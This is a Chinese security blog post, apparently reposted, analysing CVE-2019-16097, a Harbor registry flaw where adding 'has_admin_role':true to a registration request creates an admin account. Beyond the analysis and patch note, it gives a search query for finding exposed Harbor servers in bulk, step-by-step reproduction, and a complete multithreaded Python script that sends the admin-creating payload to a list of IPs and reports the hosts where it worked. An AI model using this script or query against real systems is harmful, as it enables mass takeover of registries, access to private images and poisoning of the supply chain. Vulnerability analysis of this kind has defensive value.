CVE-2019-16097 Harbor权限提升漏洞分析

admin 2022年1月6日01:59:19安全博客评论20 views2754字阅读9分10秒阅读模式

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。

Unit 42安全研究人员Aviv Sasson在Harbor中发现了一个严重漏洞,攻击者利用该漏洞可以通过发送恶意请求来控制Harbor注册表。Unit 42研究人员发现有超过1300个使用有漏洞的默认配置的Harbor Registry服务器可以通过互联网访问。

背景

研究人员在Harbor项目中发现了一个重要的权限提升漏洞,攻击者利用该漏洞可以在默认配置下获取admin权限。该漏洞于9月10日公布,CVE编号为 CVE-2019-16097

Harbor项目在过去4年内的知名度和流行度不断攀升,并于去年11月成为CNCF incubating project (CNCF孵化项目)。Harbor项目的赞助商和使用企业包括:

CVE-2019-16097 Harbor权限提升漏洞分析

图1. Harbor项目的赞助商和使用企业

漏洞影响

该漏洞的影响非常严重,因为在获取admin权限后,可以初始化许多攻击向量。攻击者可以下载和查看所有的私有项目,可以删除registry上的镜像,甚至可以替换镜像来污染registry。攻击者可以创建新的用户,并将它设置为admin。之后,攻击者可以通过Docker命令行工具用新的凭证连接Harbor registry,并替换当前的镜像。恶意镜像可以说恶意软件、加密货币挖矿机等。

POC视频如下:

https://www.biantube.com/watch/LBgIKqdfF1k

漏洞分析

首先分析User结构:

CVE-2019-16097 Harbor权限提升漏洞分析

图2. Harbor源代码中的User结构

研究人员关注的目标参数是HasAdminRole,该参数的目的是表明用户是否admin。如果可以修改为True,攻击的目的就达到了。

那么如何实现呢?首先分析API调用,如果有人尝试访问/api/users,那么就会发现一些有趣的调用:

CVE-2019-16097 Harbor权限提升漏洞分析

图3. /api/users

如果用户想要发送POST请求,就可以到达负责新用户注册的代码段。

CVE-2019-16097 Harbor权限提升漏洞分析

图4. POST请求处理逻辑

漏洞位于user.go:317中:

1
if err := ua.DecodeJSONReq(&user); err != nil

在该行代码中,我们可以从POST请求中获取数据,然后解码为用户对象。

正常的请求payload如下所示:

1
{“username”:”test”,”email”:”[email protected]”,”realname”:”no name”,”password”:”Password1\u0021″,”comment”:null}

问题在于攻击者可以发送一个请求,并加入参数has_admin_role。如果发送“had_admin_role” = “True”的请求,就可以创建为admin的用户。

漏洞利用

研究人员写了一个简单的python脚本,用来发送POST请求到/api/users来创建权限为admin的新用户,需要在request body中将参数has_admin_role设置为True。运行脚本后,唯一需要做的是在浏览器中打开Harbor,并用新创建的用户登入。

0x01使用关键词批量拿站

title=”Harbor” && country=CN

img

0x02 复现

点击注册、然后抓取数据包

img

数据包后面加上一段:”has_admin_role”:true

img

查看响应包、201 表示成功了

image-20191016230950636

登录账号验证一下

img

0x03批量脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor


def exp(url):
url = url + '/api/users'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/json',
}
payload = {
"username": "test1",
"email": "[email protected]",
"realname": "test1",
"password": "Aa123456",
"comment": "test1",
"has_admin_role": True
}
payload = json.dumps(payload)
try:
requests.packages.urllib3.disable_warnings()
r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
if r.status_code == 201:
print(url)
except Exception as e:
pass


if __name__ == '__main__':
data = open('ip.txt') # 批量IP
reader = csv.reader(data) # 50是线程
with ThreadPoolExecutor(50) as pool:
for row in reader:
if 'http' not in row[0]:
url = 'http://' + row[0]
else:
url = row[0]
pool.submit(exp, url)

成功之后、就会打印出URL、然后根据上方的账号和密码就可以直接登录了

img

解决方案

Harbor团队发布了解决该漏洞的补丁,9月18日发布的Harbor versions 1.7.6和1.8.3版本中都进行了安全更新。发布注释中说是通过禁止注册时创建admin用户来解决该问题。

开发者加入了一个检查过程来防止非管理员用户创建新的admin用户。该漏洞存在于1.70-1.8.2版本中,因此研究人员建议用户尽快更新到最新版本。

利用方式转载自T9Sec

FROM :b0urne.top | Author:b0urne

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:59:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2019-16097 Harbor权限提升漏洞分析 http://cn-sec.com/archives/722946.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: